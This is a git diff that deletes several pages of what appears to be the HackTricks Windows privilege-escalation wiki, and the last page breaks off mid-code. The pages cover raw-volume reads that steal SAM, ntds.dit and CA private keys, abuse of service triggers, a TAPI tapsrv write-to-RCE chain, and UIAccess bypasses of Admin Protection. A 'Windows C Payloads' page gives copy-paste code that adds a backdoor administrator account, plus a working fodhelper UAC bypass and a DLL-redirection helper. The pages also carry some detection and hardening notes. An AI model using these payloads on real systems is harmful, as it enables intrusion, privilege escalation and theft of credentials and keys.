-- If you land in a **service account** context instead of an elevated admin desktop, the **Potato family** is usually a better fit than this page.
-
-
-
-## References
-
-- [Microsoft: CreateProcessWithTokenW](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw)
-- [SensePost: Abusing Windows' tokens to compromise Active Directory without touching LSASS](https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/)
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/semanagevolume-perform-volume-maintenance-tasks.md b/src/windows-hardening/windows-local-privilege-escalation/semanagevolume-perform-volume-maintenance-tasks.md
deleted file mode 100644
index 9b5ae1bdac8..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/semanagevolume-perform-volume-maintenance-tasks.md
+++ /dev/null
@@ -1,88 +0,0 @@
-# SeManageVolumePrivilege: Raw volume access for arbitrary file read
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Overview
-
-Windows user right: Perform volume maintenance tasks (constant: SeManageVolumePrivilege).
-
-Holders can perform low-level volume operations such as defragmentation, creating/removing volumes, and maintenance IO. Critically for attackers, this right allows opening raw volume device handles (e.g., \\.\C:) and issuing direct disk I/O that bypasses NTFS file ACLs. With raw access you can copy bytes of any file on the volume even if denied by DACL, by parsing the filesystem structures offline or leveraging tools that read at the block/cluster level.
-
-Default: Administrators on servers and domain controllers.
-
-## Abuse scenarios
-
-- Arbitrary file read bypassing ACLs by reading the disk device (e.g., exfiltrate sensitive system-protected material such as machine private keys under %ProgramData%\Microsoft\Crypto\RSA\MachineKeys and %ProgramData%\Microsoft\Crypto\Keys, registry hives, DPAPI masterkeys, SAM, ntds.dit via VSS, etc.).
-- Bypass locked/privileged paths (C:\Windows\System32\…) by copying bytes directly from the raw device.
-- In AD CS environments, exfiltrate the CA’s key material (machine key store) to mint “Golden Certificates” and impersonate any domain principal via PKINIT. See link below.
-
-Note: You still need a parser for NTFS structures unless you rely on helper tools. Many off-the-shelf tools abstract the raw access.
-
-## Practical techniques
-
-- Open a raw volume handle and read clusters:
-
-<details>
-<summary>Click to expand</summary>
-
-```powershell
-# PowerShell – read first MB from C: raw device (requires SeManageVolumePrivilege)
-$fs = [System.IO.File]::Open("\\.\\C:",[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]::ReadWrite)
-$buf = New-Object byte[] (1MB)
-$null = $fs.Read($buf,0,$buf.Length)
-$fs.Close()
-[IO.File]::WriteAllBytes("C:\\temp\\c_first_mb.bin", $buf)
-```
-
-```csharp
-// C# (compile with Add-Type) – read an arbitrary offset of \\.\nusing System;
-using System.IO;
-class R {
-  static void Main(string[] a){
-    using(var fs = new FileStream("\\\\.\\C:", FileMode.Open, FileAccess.Read, FileShare.ReadWrite)){
-      fs.Position = 0x100000; // seek
-      var buf = new byte[4096];
-      fs.Read(buf,0,buf.Length);
-      File.WriteAllBytes("C:\\temp\\blk.bin", buf);
-    }
-  }
-}
-```
-
-</details>
-
-- Use an NTFS-aware tool to recover specific files from raw volume:
-  - RawCopy/RawCopy64 (sector-level copy of in-use files)
-  - FTK Imager or The Sleuth Kit (read-only imaging, then carve files)
-  - vssadmin/diskshadow + shadow copy, then copy target file from the snapshot (if you can create VSS; often requires admin but commonly available to the same operators that hold SeManageVolumePrivilege)
-
-Typical sensitive paths to target:
-- %ProgramData%\Microsoft\Crypto\RSA\MachineKeys\
-- %ProgramData%\Microsoft\Crypto\Keys\
-- C:\Windows\System32\config\SAM, SYSTEM, SECURITY (local secrets)
-- C:\Windows\NTDS\ntds.dit (domain controllers – via shadow copy)
-- C:\Windows\System32\CertSrv\CertEnroll\ (CA certs/CRLs; private keys live in the machine key store above)
-
-## AD CS tie‑in: Forging a Golden Certificate
-
-If you can read the Enterprise CA’s private key from the machine key store, you can forge client‑auth certificates for arbitrary principals and authenticate via PKINIT/Schannel. This is often referred to as a Golden Certificate. See:
-
-{{#ref}}
-../active-directory-methodology/ad-certificates/domain-persistence.md
-{{#endref}}
-
-(Section: “Forging Certificates with Stolen CA Certificates (Golden Certificate) – DPERSIST1”).
-
-## Detection and hardening
-
-- Strongly limit assignment of SeManageVolumePrivilege (Perform volume maintenance tasks) to only trusted admins.
-- Monitor Sensitive Privilege Use and process handle opens to device objects like \\.\C:, \\.\PhysicalDrive0.
-- Prefer HSM/TPM-backed CA keys or DPAPI-NG so that raw file reads cannot recover key material in usable form.
-- Keep uploads, temp, and extraction paths non-executable and separated (web context defense that often pairs with this chain post‑exploitation).
-
-## References
-
-- Microsoft – Perform volume maintenance tasks (SeManageVolumePrivilege): https://learn.microsoft.com/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/perform-volume-maintenance-tasks
-- 0xdf – HTB: Certificate (SeManageVolumePrivilege used to read CA key → Golden Certificate): https://0xdf.gitlab.io/2025/10/04/htb-certificate.html
-
-{{#include ../../banners/hacktricks-training.md}}
\ No newline at end of file
diff --git a/src/windows-hardening/windows-local-privilege-escalation/service-triggers.md b/src/windows-hardening/windows-local-privilege-escalation/service-triggers.md
deleted file mode 100644
index 35534190da8..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/service-triggers.md
+++ /dev/null
@@ -1,175 +0,0 @@
-# Windows Service Triggers: Enumeration and Abuse
-
-{{#include ../../banners/hacktricks-training.md}}
-
-Windows Service Triggers allow the Service Control Manager (SCM) to start/stop a service when a condition occurs (e.g., an IP address becomes available, a named pipe connection is attempted, an ETW event is published). Even when you lack SERVICE_START rights on a target service, you may still be able to start it by causing its trigger to fire.
-
-This page focuses on attacker-friendly enumeration and low-friction ways to activate common triggers.
-
-> Tip: Starting a privileged built-in service (e.g., RemoteRegistry, WebClient/WebDAV, EFS) can expose new RPC/named-pipe listeners and unlock further abuse chains.
-
-## Enumerating Service Triggers
-
-- sc.exe (local)
-  - List a service's triggers: `sc.exe qtriggerinfo <ServiceName>`
-- Registry (local)
-  - Triggers live under: `HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>\TriggerInfo`
-  - Dump recursively: `reg query HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>\TriggerInfo /s`
-- Win32 API (local)
-  - Call QueryServiceConfig2 with SERVICE_CONFIG_TRIGGER_INFO (8) to retrieve SERVICE_TRIGGER_INFO.
-    - Docs: QueryServiceConfig2[W/A] and SERVICE_TRIGGER/SERVICE_TRIGGER_SPECIFIC_DATA
-- RPC over MS‑SCMR (remote)
-  - The SCM can be queried remotely to fetch trigger info using MS‑SCMR. TrustedSec’s Titanis exposes this: `Scm.exe qtriggers`.
-  - Impacket defines the structures in msrpc MS-SCMR; you can implement a remote query using those.
-- PowerShell (bulk enumeration)
-  - Quickly list every service exposing a `TriggerInfo` key:
-    ```powershell
-    Get-ChildItem 'HKLM:\SYSTEM\CurrentControlSet\Services' |
-      Where-Object { Test-Path "$($_.PSPath)\TriggerInfo" } |
-      ForEach-Object { sc.exe qtriggerinfo $_.PSChildName }
-    ```
-- PowerShell (programmatic)
-  - James Forshaw's `NtObjectManager` module exposes `Get-Win32ServiceTrigger` for parsing trigger metadata without scraping `sc.exe` output.
-
-## High-Value Trigger Types and How to Activate Them
-
-### Network Endpoint Triggers
-
-These start a service when a client attempts to talk to an IPC endpoint. Useful to low-priv users because the SCM will auto-start the service before your client can actually connect.
-
-- Named pipe trigger
-  - Behavior: A client connection attempt to \\.\pipe\<PipeName> causes the SCM to start the service so it can begin listening.
-  - Activation (PowerShell):
-    ```powershell
-    $pipe = new-object System.IO.Pipes.NamedPipeClientStream('.', 'PipeNameFromTrigger', [System.IO.Pipes.PipeDirection]::InOut)
-    try { $pipe.Connect(1000) } catch {}
-    $pipe.Dispose()
-    ```
-  - Internals note: named-pipe triggers are backed by `npsvctrig.sys`, a filesystem minifilter that watches for opens against registered trigger pipe names. This is why the open attempt can start the service even before the service itself has created/listened on the pipe.
-  - See also: Named Pipe Client Impersonation for post-start abuse.
-
-- RPC endpoint trigger (Endpoint Mapper)
-  - Behavior: Querying the Endpoint Mapper (EPM, TCP/135) for an interface UUID associated with a service causes the SCM to start it so it can register its endpoint.
-  - Activation (Impacket):
-    ```bash
-    # Queries local EPM; replace UUID with the service interface GUID
-    python3 rpcdump.py @127.0.0.1 -uuid <INTERFACE-UUID>
-    ```
-
-### Custom (ETW) Triggers
-
-A service can register a trigger bound to an ETW provider/event. If no additional filters (keyword/level/binary/string) are configured, any event from that provider will start the service.
-
-- Example (WebClient/WebDAV): provider {22B6D684-FA63-4578-87C9-EFFCBE6643C7}
-  - List trigger: `sc.exe qtriggerinfo webclient`
-  - Verify provider is registered: `logman query providers | findstr /I 22b6d684-fa63-4578-87c9-effcbe6643c7`
-  - Emitting matching events typically requires code that logs to that provider; if no filters are present, any event suffices.
-  - Minimal C shape for firing the provider (when no additional ETW filters are configured):
-    ```c
-    GUID g = {0x22B6D684,0xFA63,0x4578,{0x87,0xC9,0xEF,0xFC,0xBE,0x66,0x43,0xC7}};
-    REGHANDLE h; EVENT_DESCRIPTOR d;
-    EventRegister(&g, NULL, NULL, &h);
-    EventDescCreate(&d, 1, 0, 0, 4, 0, 0, 0);
-    EventWrite(h, &d, 0, NULL);
-    EventUnregister(h);
-    ```
-
-### Group Policy Triggers
-
-Subtypes: Machine/User. On domain-joined hosts where the corresponding policy exists, the trigger runs at boot. `gpupdate` alone won’t trigger without changes, but:
-
-- Activation: `gpupdate /force`
-  - If the relevant policy type exists, this reliably causes the trigger to fire and start the service.
-
-### IP Address Available
-
-Fires when the first IP is obtained (or last is lost). Often triggers at boot.
-
-- Activation: Toggle connectivity to retrigger, e.g.:
-  ```cmd
-  netsh interface set interface name="Ethernet" admin=disabled
-  netsh interface set interface name="Ethernet" admin=enabled
-  ```
-
-### Device Interface Arrival
-
-Starts a service when a matching device interface arrives. If no data item is specified, any device matching the trigger subtype GUID will fire the trigger. Evaluated at boot and upon hot‑plug.
-
-- Activation: Attach/insert a device (physical or virtual) that matches the class/hardware ID specified by the trigger subtype.
-
-### Domain Join State
-
-Despite confusing MSDN wording, this evaluates domain state at boot:
-- DOMAIN_JOIN_GUID → start the service if domain-joined
-- DOMAIN_LEAVE_GUID → start the service only if NOT domain-joined
-
-### System State Change – WNF (undocumented)
-
-Some services use undocumented WNF-based triggers (SERVICE_TRIGGER_TYPE 0x7). Activation requires publishing the relevant WNF state; specifics depend on the state name. Research background: Windows Notification Facility internals.
-
-### Aggregate Service Triggers (undocumented)
-
-Observed on Windows 11 for some services (e.g., CDPSvc). The aggregated configuration is stored in:
-
-- HKLM\SYSTEM\CurrentControlSet\Control\ServiceAggregatedEvents
-
-A service’s Trigger value is a GUID; the subkey with that GUID defines the aggregated event. Triggering any constituent event starts the service.
-
-### Firewall Port Event (quirks and DoS risk)
-
-A trigger scoped to a specific port/protocol has been observed to start on any firewall rule change (disable/delete/add), not just the specified port. Worse, configuring a port without a protocol can corrupt BFE startup across reboots, cascading into many service failures and breaking firewall management. Treat with extreme caution.
-
-## Practical Workflow
-
-1) Enumerate triggers on interesting services (RemoteRegistry, WebClient, EFS, …):
-- `sc.exe qtriggerinfo <Service>`
-- `reg query HKLM\SYSTEM\CurrentControlSet\Services\<Service>\TriggerInfo /s`
-
-2) If a Network Endpoint trigger exists:
-- Named pipe → attempt a client open to \\.\pipe\<PipeName>
-- RPC endpoint → perform an Endpoint Mapper lookup for the interface UUID
-
-3) If an ETW trigger exists:
-- Check provider and filters with `sc.exe qtriggerinfo`; if no filters, any event from that provider will start the service
-
-4) For Group Policy/IP/Device/Domain triggers:
-- Use environmental levers: `gpupdate /force`, toggle NICs, hot-plug devices, etc.
-
-## Related
-
-- After starting a privileged service via a Named Pipe trigger, you may be able to impersonate it:
-
-{{#ref}}
-named-pipe-client-impersonation.md
-{{#endref}}
-
-## Quick command recap
-
-- List triggers (local): `sc.exe qtriggerinfo <Service>`
-- Registry view: `reg query HKLM\SYSTEM\CurrentControlSet\Services\<Service>\TriggerInfo /s`
-- Win32 API: `QueryServiceConfig2(..., SERVICE_CONFIG_TRIGGER_INFO, ...)`
-- RPC remote (Titanis): `Scm.exe qtriggers`
-- ETW provider check (WebClient): `logman query providers | findstr /I 22b6d684-fa63-4578-87c9-effcbe6643c7`
-
-## Gotchas / Operator Notes
-
-- Check the service start type first with `sc.exe qc <Service>`. If it is `DISABLED`, firing the trigger is not enough; you must first find a way to change the configuration.
-- Trigger-start services may stop again after they become idle. If your follow-on action depends on a short-lived listener (RPC/named pipe/WebDAV), trigger and consume it immediately.
-- `sc.exe qtriggerinfo` does not fully understand every undocumented trigger type. For aggregate triggers on newer Windows builds, confirm the backing GUID and constituent events in `HKLM\SYSTEM\CurrentControlSet\Control\ServiceAggregatedEvents`.
-
-## Detection and Hardening Notes
-
-- Baseline and audit TriggerInfo across services. Also review HKLM\SYSTEM\CurrentControlSet\Control\ServiceAggregatedEvents for aggregate triggers.
-- Monitor for suspicious EPM lookups for privileged service UUIDs and named-pipe connection attempts that precede service starts.
-- Restrict who can modify service triggers; treat unexpected BFE failures after trigger changes as suspicious.
-
-## References
-- [There’s More than One Way to Trigger a Windows Service (TrustedSec)](https://trustedsec.com/blog/theres-more-than-one-way-to-trigger-a-windows-service)
-- [QueryServiceConfig2 function (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-queryserviceconfig2a)
-- [MS-SCMR: Service Control Manager Remote Protocol – QueryServiceConfig2](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-scmr/705b624a-13de-43cc-b8a2-99573da3635f)
-- [TrustedSec Titanis (SCM trigger enumeration)](https://github.com/trustedsec/Titanis)
-- [Cobalt Strike BOF example – sc_qtriggerinfo](https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/5d6f70be2e5023c340dc5f82303449504a9b7786/src/SA/sc_qtriggerinfo/entry.c#L56)
-- [Reversing npsvctrig.sys - Named Pipe Service Triggers (Inbits)](https://inbits-sec.com/posts/npsvctrig-notes/)
-- [Starting WebClient Service Programmatically (Tyranid)](https://www.tiraniddo.dev/2015/03/starting-webclient-service.html)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/telephony-tapsrv-arbitrary-dword-write-to-rce.md b/src/windows-hardening/windows-local-privilege-escalation/telephony-tapsrv-arbitrary-dword-write-to-rce.md
deleted file mode 100644
index 39c66488338..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/telephony-tapsrv-arbitrary-dword-write-to-rce.md
+++ /dev/null
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-# Telephony tapsrv Arbitrary DWORD Write to RCE (TAPI Server Mode)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-When the Windows Telephony service (TapiSrv, `tapisrv.dll`) is configured as a **TAPI server**, it exposes the **`tapsrv` MSRPC interface over the `\pipe\tapsrv` named pipe** to authenticated SMB clients. A design bug in the asynchronous event delivery for remote clients lets an attacker turn a mailslot handle into a **controlled 4-byte write to any pre-existing file writable by `NETWORK SERVICE`**. That primitive can be chained to overwrite the Telephony admin list and abuse an **admin-only arbitrary DLL load** to execute code as `NETWORK SERVICE`.
-
-## Attack Surface
-- **Remote exposure only when enabled**: `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Telephony\Server\DisableSharing` must allow sharing (or configured via `TapiMgmt.msc` / `tcmsetup /c <server>`). By default `tapsrv` is local-only.
-- Interface: MS-TRP (`tapsrv`) over **SMB named pipe**, so the attacker needs valid SMB auth.
-- Service account: `NETWORK SERVICE` (manual start, on-demand).
-
-## Primitive: Mailslot Path Confusion → Arbitrary DWORD Write
-- `ClientAttach(pszDomainUser, pszMachine, ...)` initializes async event delivery. In pull mode, the service does:
-  ```c
-  CreateFileW(pszDomainUser, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
-  ```
-  without validating that `pszDomainUser` is a mailslot path (`\\*\MAILSLOT\...`). Any **existing filesystem path** writable by `NETWORK SERVICE` is accepted.
-- Every async event write stores a single **`DWORD` = `InitContext`** (attacker-controlled in the subsequent `Initialize` request) to the opened handle, yielding **write-what/write-where (4 bytes)**.
-
-## Forcing Deterministic Writes
-1. **Open target file**: `ClientAttach` with `pszDomainUser = <existing writable path>` (e.g., `C:\Windows\TAPI\tsec.ini`).
-2. For each `DWORD` to write, execute this RPC sequence against `ClientRequest`:
-   - `Initialize` (`Req_Func 47`): set `InitContext = <4-byte value>` and `pszModuleName = DIALER.EXE` (or another top entry in the per-user priority list).
-   - `LRegisterRequestRecipient` (`Req_Func 61`): `dwRequestMode = LINEREQUESTMODE_MAKECALL`, `bEnable = 1` (registers the line app, recalculates highest priority recipient).
-   - `TRequestMakeCall` (`Req_Func 121`): forces `NotifyHighestPriorityRequestRecipient`, generating the async event.
-   - `GetAsyncEvents` (`Req_Func 0`): dequeue/completes the write.
-   - `LRegisterRequestRecipient` again with `bEnable = 0` (unregister).
-   - `Shutdown` (`Req_Func 86`) to tear down the line app.
-- Priority control: the “highest priority” recipient is chosen by comparing `pszModuleName` against `HKCU\Software\Microsoft\Windows\CurrentVersion\Telephony\HandoffPriorities\RequestMakeCall` (read while impersonating the client). If needed, insert your module name via `LSetAppPriority` (`Req_Func 69`).
-- The file **must already exist** because `OPEN_EXISTING` is used. Common `NETWORK SERVICE`-writable candidates: `C:\Windows\System32\catroot2\dberr.txt`, `C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\MpCmdRun.log`, `...\MpSigStub.log`.
-
-## From DWORD Write to RCE inside TapiSrv
-1. **Grant yourself Telephony “admin”**: target `C:\Windows\TAPI\tsec.ini` and append `[TapiAdministrators]\r\n<DOMAIN\\user>=1` using the 4-byte writes above. Start a **new** session (`ClientAttach`) so the service re-reads the INI and sets `ptClient->dwFlags |= 9` for your account.
-2. **Admin-only DLL load**: send `GetUIDllName` with `dwObjectType = TUISPIDLL_OBJECT_PROVIDERID` and supply a path via `dwProviderFilenameOffset`. For admins, the service does `LoadLibrary(path)` then calls the export `TSPI_providerUIIdentify`:
-   - Works with UNC paths to a real Windows SMB share; some attacker SMB servers fail with `ERROR_SMB_GUEST_LOGON_BLOCKED`.
-   - Alternative: slowly drop a local DLL using the same 4-byte write primitive, then load it.
-3. **Payload**: the export executes under `NETWORK SERVICE`. A minimal DLL can run `cmd.exe /c whoami /all > C:\Windows\Temp\poc.txt` and return a non-zero value (e.g., `0x1337`) so the service unloads the DLL, confirming execution.
-
-## Hardening / Detection Notes
-- Disable TAPI server mode unless required; block remote access to `\pipe\tapsrv`.
-- Enforce mailslot namespace validation (`\\*\MAILSLOT\`) before opening client-supplied paths.
-- Lock down `C:\Windows\TAPI\tsec.ini` ACLs and monitor changes; alert on `GetUIDllName` calls loading non-default paths.
-
-## References
-- [Who’s on the line? Exploiting RCE in Windows Telephony Service (CVE-2026-20931)](https://swarm.ptsecurity.com/whos-on-the-line-exploiting-rce-in-windows-telephony-service/)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/uiaccess-admin-protection-bypass.md b/src/windows-hardening/windows-local-privilege-escalation/uiaccess-admin-protection-bypass.md
deleted file mode 100644
index 0cd5fac940d..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/uiaccess-admin-protection-bypass.md
+++ /dev/null
@@ -1,67 +0,0 @@
-# Admin Protection Bypasses via UIAccess
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Overview
-- Windows AppInfo exposes `RAiLaunchAdminProcess` to spawn UIAccess processes (intended for accessibility). UIAccess bypasses most User Interface Privilege Isolation (UIPI) message filtering so accessibility software can drive higher-IL UI.
-- Enabling UIAccess directly requires `NtSetInformationToken(TokenUIAccess)` with **SeTcbPrivilege**, so low-priv callers rely on the service. The service performs three checks on the target binary before setting UIAccess:
-  - Embedded manifest contains `uiAccess="true"`.
-  - Signed by any certificate trusted by the Local Machine root store (no EKU/Microsoft requirement).
-  - Located in an administrator-only path on the system drive (e.g., `C:\Windows`, `C:\Windows\System32`, `C:\Program Files`, excluding specific writable subpaths).
-- `RAiLaunchAdminProcess` performs no consent prompt for UIAccess launches (otherwise accessibility tooling could not drive the prompt).
-
-## Token shaping and integrity levels
-- If the checks succeed, AppInfo **copies the caller token**, enables UIAccess, and bumps Integrity Level (IL):
-  - Limited admin user (user is in Administrators but running filtered) ➜ **High IL**.
-  - Non-admin user ➜ IL increased by **+16 levels** up to a **High** cap (System IL is never assigned).
-  - If the caller token already has UIAccess, IL is left unchanged.
-- “Ratchet” trick: a UIAccess process can disable UIAccess on itself, relaunch via `RAiLaunchAdminProcess`, and gain another +16 IL increment. Medium➜High takes 255 relaunches (noisy, but works).
-
-## Why UIAccess enables an Admin Protection escape
-- UIAccess lets a lower-IL process send window messages to higher-IL windows (bypassing UIPI filters). At **equal IL**, classic UI primitives like `SetWindowsHookEx` **do allow code injection/DLL loading** into any process that owns a window (including **message-only windows** used by COM). 
-- Admin Protection launches the UIAccess process under the **limited user’s identity** but at **High IL**, silently. Once arbitrary code runs inside that High-IL UIAccess process, the attacker can inject into other High-IL processes on the desktop (even belonging to different users), breaking the intended separation.
-
-## HWND-to-process handle primitive (`GetProcessHandleFromHwnd` / `NtUserGetWindowProcessHandle`)
-- On Windows 10 1803+ the API moved into Win32k (`NtUserGetWindowProcessHandle`) and can open a process handle using a caller-supplied `DesiredAccess`. The kernel path uses `ObOpenObjectByPointer(..., KernelMode, ...)`, which bypasses normal user-mode access checks.
-- Preconditions in practice: the target window must be on the same desktop, and UIPI checks must pass. Historically, a caller with UIAccess could bypass UIPI failure and still get a kernel-mode handle (fixed as CVE-2023-41772).
-- Impact: a window handle becomes a **capability** to obtain a powerful process handle (commonly `PROCESS_DUP_HANDLE`, `PROCESS_VM_READ`, `PROCESS_VM_WRITE`, `PROCESS_VM_OPERATION`) that the caller could not normally open. This enables cross-sandbox access and can break Protected Process / PPL boundaries if the target exposes any window (including message-only windows).
-- Practical abuse flow: enumerate or locate HWNDs (e.g., `EnumWindows`/`FindWindowEx`), resolve the owning PID (`GetWindowThreadProcessId`), call `GetProcessHandleFromHwnd`, then use the returned handle for memory read/write or code-hijack primitives.
-- Post-fix behavior: UIAccess no longer grants kernel-mode opens on UIPI failure and allowed access rights are restricted to the legacy hook set; Windows 11 24H2 adds process-protection checks and feature-flagged safer paths. Disabling UIPI system-wide (`EnforceUIPI=0`) weakens these protections.
-
-## Secure-directory validation weaknesses (AppInfo `AiCheckSecureApplicationDirectory`)
-AppInfo resolves the supplied path via `GetFinalPathNameByHandle` and then applies **string allow/deny checks** against hardcoded roots/exclusions. Multiple bypass classes stem from that simplistic validation:
-- **Directory named streams**: Excluded writable directories (e.g., `C:\Windows\tracing`) can be bypassed with a named stream on the directory itself, e.g. `C:\Windows\tracing:file.exe`. The string checks see `C:\Windows\` and miss the excluded subpath.
-- **Writable file/directory inside an allowed root**: `CreateProcessAsUser` does **not require a `.exe` extension**. Overwriting any writable file under an allowed root with an executable payload works, or copying a signed `uiAccess="true"` EXE into any writable subdirectory (e.g., update leftovers such as `Tasks_Migrated` when present) lets it pass the secure-path check.
-- **MSIX into `C:\Program Files\WindowsApps` (fixed)**: Non-admins could install signed MSIX packages that landed in `WindowsApps`, which was not excluded. Packaging a UIAccess binary inside the MSIX then launching it via `RAiLaunchAdminProcess` yielded a **promptless High-IL UIAccess process**. Microsoft mitigated by excluding this path; the `uiAccess` restricted MSIX capability itself already requires admin install.
-
-## Attack workflow (High IL without a prompt)
-1. Obtain/build a **signed UIAccess binary** (manifest `uiAccess="true"`).
-2. Place it where AppInfo’s allowlist accepts it (or abuse a path-validation edge case/writable artifact as above).
-3. Call `RAiLaunchAdminProcess` to spawn it **silently** with UIAccess + elevated IL.
-4. From that High-IL foothold, target another High-IL process on the desktop using **window hooks/DLL injection** or other same-IL primitives to fully compromise the admin context.
-
-## Enumerating candidate writable paths
-Run the PowerShell helper to discover writable/overwritable objects inside nominally secure roots from the perspective of a chosen token:
-
-```powershell
-$paths = "C:\\Windows","C:\\Program Files","C:\\Program Files (x86)"
-Get-AccessibleFile -Win32Path $paths -Access Execute,WriteData `
-  -DirectoryAccess AddFile -Recurse -ProcessId <PID>
-```
-
-- Run as Administrator for broader visibility; set `-ProcessId` to a low-priv process to mirror that token’s access.
-- Filter manually to exclude known disallowed subdirectories before using candidates with `RAiLaunchAdminProcess`.
-
-## Related
-
-Secure Desktop accessibility registry propagation LPE (RegPwn):
-
-{{#ref}}
-secure-desktop-accessibility-registry-propagation-regpwn.md
-{{#endref}}
-
-## References
-- [Bypassing Administrator Protection by Abusing UI Access](https://projectzero.google/2026/02/windows-administrator-protection.html)
-- [GetProcessHandleFromHwnd (GPHFH) Deep Dive](https://projectzero.google/2026/02/gphfh-deep-dive.html)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md b/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md
deleted file mode 100644
index 4360ef69e38..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md
+++ /dev/null
@@ -1,336 +0,0 @@
-# Windows C Payloads
-
-{{#include ../../banners/hacktricks-training.md}}
-
-This page collects **small, self-contained C snippets** that are handy during Windows Local Privilege Escalation or post-exploitation.  Each payload is designed to be **copy-paste friendly**, requires only the Windows API / C runtime, and can be compiled with `i686-w64-mingw32-gcc` (x86) or `x86_64-w64-mingw32-gcc` (x64).
-
-> ⚠️  These payloads assume that the process already has the minimum privileges necessary to perform the action (e.g. `SeDebugPrivilege`, `SeImpersonatePrivilege`, or medium-integrity context for a UAC bypass).  They are intended for **red-team or CTF settings** where exploiting a vulnerability has landed arbitrary native code execution.
-
----
-
-## Add local administrator user
-
-```c
-// i686-w64-mingw32-gcc -s -O2 -o addadmin.exe addadmin.c
-#include <stdlib.h>
-int main(void) {
-    system("net user hacker Hacker123! /add");
-    system("net localgroup administrators hacker /add");
-    return 0;
-}
-```
-
----
-
-## UAC Bypass – `fodhelper.exe` Registry Hijack (Medium → High integrity)
-When the trusted binary **`fodhelper.exe`** is executed, it queries the registry path below **without filtering the `DelegateExecute` verb**.  By planting our command under that key an attacker can bypass UAC *without* dropping a file to disk.
-
-*Registry path queried by `fodhelper.exe`*
-```
-HKCU\Software\Classes\ms-settings\Shell\Open\command
-```
-A minimal PoC that pops an elevated `cmd.exe`:
-
-```c
-// x86_64-w64-mingw32-gcc -municode -s -O2 -o uac_fodhelper.exe uac_fodhelper.c
-#define _CRT_SECURE_NO_WARNINGS
-#include <windows.h>
-#include <stdlib.h>
-#include <stdio.h>
-#include <string.h>
-
-int main(void) {
-    HKEY hKey;
-    const char *payload = "C:\\Windows\\System32\\cmd.exe"; // change to arbitrary command
-
-    // 1. Create the vulnerable registry key
-    if (RegCreateKeyExA(HKEY_CURRENT_USER,
-        "Software\\Classes\\ms-settings\\Shell\\Open\\command", 0, NULL, 0,
-        KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
-
-        // 2. Set default value => our payload
-        RegSetValueExA(hKey, NULL, 0, REG_SZ,
-            (const BYTE*)payload, (DWORD)strlen(payload) + 1);
-
-        // 3. Empty "DelegateExecute" value = trigger (")
-        RegSetValueExA(hKey, "DelegateExecute", 0, REG_SZ,
-            (const BYTE*)"", 1);
-
-        RegCloseKey(hKey);
-
-        // 4. Launch auto-elevated binary
-        system("fodhelper.exe");
-    }
-    return 0;
-}
-```
-*Tested on Windows 10 22H2 and Windows 11 23H2 (July 2025 patches). The bypass still works because Microsoft has not fixed the missing integrity check in the `DelegateExecute` path.*
-
----
-
-## UAC Bypass – Activation Context Cache Poisoning (`ctfmon.exe`, CVE-2024-6769)
-Drive remapping + activation context cache poisoning still works against patched Windows 10/11 builds because `ctfmon.exe` runs as a high-integrity trusted UI process that happily loads from the caller’s impersonated `C:` drive and reuses whatever DLL redirections `CSRSS` has cached. Abuse goes as follows: re-point `C:` at attacker-controlled storage, drop a trojanized `msctf.dll`, launch `ctfmon.exe` to gain high integrity, then ask `CSRSS` to cache a manifest that redirects a DLL used by an auto-elevated binary (e.g., `fodhelper.exe`) so the next launch inherits your payload without a UAC prompt.
-
-Practical workflow:
-1. Prepare a fake `%SystemRoot%\System32` tree and copy the legitimate binary you plan to hijack (often `ctfmon.exe`).
-2. Use `DefineDosDevice(DDD_RAW_TARGET_PATH)` to remap `C:` inside your process, keeping `DDD_NO_BROADCAST_SYSTEM` so the change stays local.
-3. Drop your DLL + manifest into the fake tree, call `CreateActCtx/ActivateActCtx` to push the manifest into the activation-context cache, then launch the auto-elevated binary so it resolves the redirected DLL straight into your shellcode.
-4. Delete the cache entry (`sxstrace ClearCache`) or reboot when finished to erase attacker fingerprints.
-
-<details>
-<summary>C - Fake drive + manifest poison helper (CVE-2024-6769)</summary>
-
-```c
-#define WIN32_LEAN_AND_MEAN
-#include <windows.h>
-#include <shlwapi.h>
-#pragma comment(lib, "shlwapi.lib")
-
-BOOL WriteWideFile(const wchar_t *path, const wchar_t *data) {
-    HANDLE h = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
-    if (h == INVALID_HANDLE_VALUE) return FALSE;
-    DWORD bytes = (DWORD)(wcslen(data) * sizeof(wchar_t));
-    BOOL ok = WriteFile(h, data, bytes, &bytes, NULL);
-    CloseHandle(h);
-    return ok;
-}
-
-int wmain(void) {
-    const wchar_t *stage = L"C:\\Users\\Public\\fakeC\\Windows\\System32";
-    SHCreateDirectoryExW(NULL, stage, NULL);
